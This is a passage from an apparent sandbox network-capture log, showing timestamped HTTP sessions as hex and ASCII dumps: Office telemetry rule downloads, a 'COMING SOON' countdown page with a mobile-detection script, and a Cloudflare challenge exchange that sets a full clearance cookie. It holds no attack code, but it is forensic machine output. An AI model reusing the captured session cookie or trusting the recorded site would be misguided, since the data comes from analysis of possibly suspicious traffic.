cfL4;desc="?proto=TCP&rtt=1735&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=937&delivery_rate=1681765&cwnd=251&unsent_bytes=0&cid=f2a247ed5a3d395a&ts=171&x=0"
2024-11-07 22:47:31 UTC	437	IN	Data Raw: 31 30 38 31 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 69 6d 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 65 6d 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 22 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 62 6f 64 79 2c 0a 20 20 20 Data Ascii: 1081<html> <head> <title>COMING SOON</title> <body> <div class="bgimg"> <div class="middle"> <h1>COMING SOON</h1> <hr> <p id="demo" style="font-size:30px"></p> </div> </div> <style> body,
2024-11-07 22:47:31 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 20 43 6f 75 72 69 65 72 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 74 6f 70 6c 65 66 74 20 7b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 Data Ascii: position: center; background-size: cover; position: relative; color: white; font-family: "Courier New", Courier, monospace; font-size: 25px; } .topleft { position: absolute; top: 0;
2024-11-07 22:47:31 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 65 6d 6f 22 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 45 58 50 49 52 45 44 22 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 2c 20 31 30 30 30 29 3b 0a 09 09 77 69 6e 64 6f 77 2e 6d 6f 62 69 6c 65 43 68 65 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 20 20 6c 65 74 20 63 68 65 63 6b 20 3d 20 66 61 6c 73 65 3b 0a 09 09 20 20 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5c 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6c 65 7c 61 76 61 6e 74 67 6f 7c 62 61 64 61 5c 2f 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 6c 61 7a 65 72 7c 63 6f 6d 70 61 6c 7c 65 6c 61 69 6e 65 7c 66 65 6e 6e 65 63 Data Ascii: document.getElementById("demo").innerHTML = "EXPIRED"; } }, 1000);window.mobileCheck = function() { let check = false; (function(a){if(/(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec
2024-11-07 22:47:31 UTC	1058	IN	Data Raw: 5b 30 2d 32 5d 7c 6e 32 30 5b 32 2d 33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 30 7c 31 29 7c 31 30 29 7c 6e 65 28 28 63 7c 6d 29 5c 2d 7c 6f 6e 7c 74 66 7c 77 66 7c 77 67 7c 77 74 29 7c 6e 6f 6b 28 36 7c 69 29 7c 6e 7a 70 68 7c 6f 32 69 6d 7c 6f 70 28 74 69 7c 77 76 29 7c 6f 72 61 6e 7c 6f 77 67 31 7c 70 38 30 30 7c 70 61 6e 28 61 7c 64 7c 74 29 7c 70 64 78 67 7c 70 67 28 31 33 7c 5c 2d 28 5b 31 2d 38 5d 7c 63 29 29 7c 70 68 69 6c 7c 70 69 72 65 7c 70 6c 28 61 79 7c 75 63 29 7c 70 6e 5c 2d 32 7c 70 6f 28 63 6b 7c 72 74 7c 73 65 29 7c 70 72 6f 78 7c 70 73 69 6f 7c 70 74 5c 2d 67 7c 71 61 5c 2d 61 7c 71 63 28 30 37 7c 31 32 7c 32 31 7c 33 32 7c 36 30 7c 5c 2d 5b 32 2d 37 5d 7c 69 5c 2d 29 7c 71 74 65 6b 7c 72 33 38 Data Ascii: [0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(0\|1)\|10)\|ne((c\|m)\-\|on\|tf\|wf\|wg\|wt)\|nok(6\|i)\|nzph\|o2im\|op(ti\|wv)\|oran\|owg1\|p800\|pan(a\|d\|t)\|pdxg\|pg(13\|\-([1-8]\|c))\|phil\|pire\|pl(ay\|uc)\|pn\-2\|po(ck\|rt\|se)\|prox\|psio\|pt\-g\|qa\-a\|qc(07\|12\|21\|32\|60\|\-[2-7]\|i\-)\|qtek\|r38
2024-11-07 22:47:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224731Z-16547b76f7fr28cchC1DFWnuws00000008t000000000tgq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224731Z-16547b76f7fxsvjdhC1DFWprrs00000008ng00000000nud5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224731Z-16547b76f7f76p6chC1DFWctqw00000008y0000000006uq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: e16c3d14-801e-00a3-050a-2d7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224731Z-16547b76f7fp6mhthC1DFWrggn00000008ug00000000ny5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224731Z-16547b76f7f775p5hC1DFWzdvn00000008qg00000000npfs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49783	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	636	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive Content-Length: 16006 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://bhutto.systelligence.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:31 UTC	16006	OUT	Data Raw: 7b 22 77 70 22 3a 22 47 45 33 44 79 61 32 51 79 76 33 79 63 71 50 32 59 32 66 77 39 44 61 5a 77 65 55 77 70 49 70 6a 6a 61 51 32 2d 75 77 52 41 5a 24 41 4a 33 77 72 52 36 69 50 41 76 32 6b 77 63 59 33 4f 6f 45 45 77 65 62 6a 77 67 77 6a 5a 6a 33 32 77 6e 6a 32 4c 50 53 44 62 76 45 42 30 34 44 52 41 48 45 55 65 4d 6b 66 71 4f 78 44 4c 48 79 68 55 74 32 4d 75 52 62 70 77 79 33 33 7a 70 72 61 42 6f 77 46 4f 6f 4a 58 42 77 58 44 71 72 77 61 68 33 77 70 44 61 61 44 48 63 44 70 77 32 41 77 39 76 31 77 32 74 42 77 6d 64 51 65 4f 45 36 32 65 62 6f 33 77 61 64 42 77 61 50 69 39 77 69 61 77 32 42 6e 4a 35 33 34 6b 55 5a 61 4f 61 32 58 4c 55 45 75 79 48 54 43 58 52 77 49 44 61 70 56 4b 45 77 51 31 45 41 71 4a 52 2b 6e 4f 77 69 43 58 62 48 49 65 44 77 35 62 49 4a 70 Data Ascii: {"wp":"GE3Dya2Qyv3ycqP2Y2fw9DaZweUwpIpjjaQ2-uwRAZ$AJ3wrR6iPAv2kwcY3OoEEwebjwgwjZj32wnj2LPSDbvEB04DRAHEUeMkfqOxDLHyhUt2MuRbpwy33zpraBowFOoJXBwXDqrwah3wpDaaDHcDpw2Aw9v1w2tBwmdQeOE62ebo3wadBwaPi9wiaw2BnJ534kUZaOa2XLUEuyHTCXRwIDapVKEwQ1EAqJR+nOwiCXbHIeDw5bIJp
2024-11-07 22:47:31 UTC	1330	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.systelligence.com; Priority=High; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=1QxAJkV63Zi3NLQxd3szIlwPSErfKBNbxPY2s.HcKQ0-1731019651-1.2.1.1-INF7RGEp0Gw0BPaWjjUvwYcH2Pb5kDz.ZkDzTgbU3LYsFTRrHRfTelUh4Y2Brn2b5IUPH7bhLsI3GTnwYjQzrttM1_VtGiBFepgCpAI0nfxZY3aQZzsTEU5BrcgyZy1bDmjS1hqmzuWvG.NMDBqgQ7bS51B0jVWqbxW7H9jxge3bdT1Ej5Zde1LWG9BkSTIky4LYO0mWffG4nv14qTkGgSWCPnoSpBfkGiqqHfAYsEXnQeL_97TkGtuuFTo.lo0_wxXjYi_uG1wdbwSO9_Len0EVM15DNBxDVU6xgcESVqN5UHUtXQifcoBR4AsgnDJQW9F3BN6nGA04xDmiICLUXu0qNRs7k0Ltj2qFuqYMNkiqRGFE.FTZqHRmd8O6sS3AEo45tMpDbYkkjQpTU9xk9g; Path=/; Expires=Fri, 07-Nov-25 22:47:31 GMT; Domain=.systelligence.com; Priority=High; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NUF7e7CmSa1luZXKhS5ehrirqUhVsW47FDv1X%2FZuOsm6WuYbHa6%2FnBs6BW%2BZqPzsppuOizu1P2qNMHBYS4i%2F5XRSnytLJV046SRc20%2Bjq90ieqrbkiqVE3zEfcO6eUfCTJWB0w9M59sbR50%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd95795d3bea-MEM alt-svc: h3=":443"; ma=86400
2024-11-07 22:47:31 UTC	192	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 33 37 34 26 73 65 6e 74 3d 39 26 72 65 63 76 3d 31 39 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 31 26 72 65 63 76 5f 62 79 74 65 73 3d 31 37 32 36 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 38 37 38 37 32 26 63 77 6e 64 3d 33 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 62 33 30 34 63 30 31 35 61 31 62 63 33 38 32 26 74 73 3d 31 39 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=10374&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2841&recv_bytes=17264&delivery_rate=287872&cwnd=32&unsent_bytes=0&cid=0b304c015a1bc382&ts=194&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bfc5cfc9-a01e-0070-0546-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-15869dbbcc6gt87nhC1DFWh9un00000009rg000000001hn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 754974f6-a01e-00ab-25e6-2f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-17df447cdb5t94hvhC1DFWw97800000005cg000000002y19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

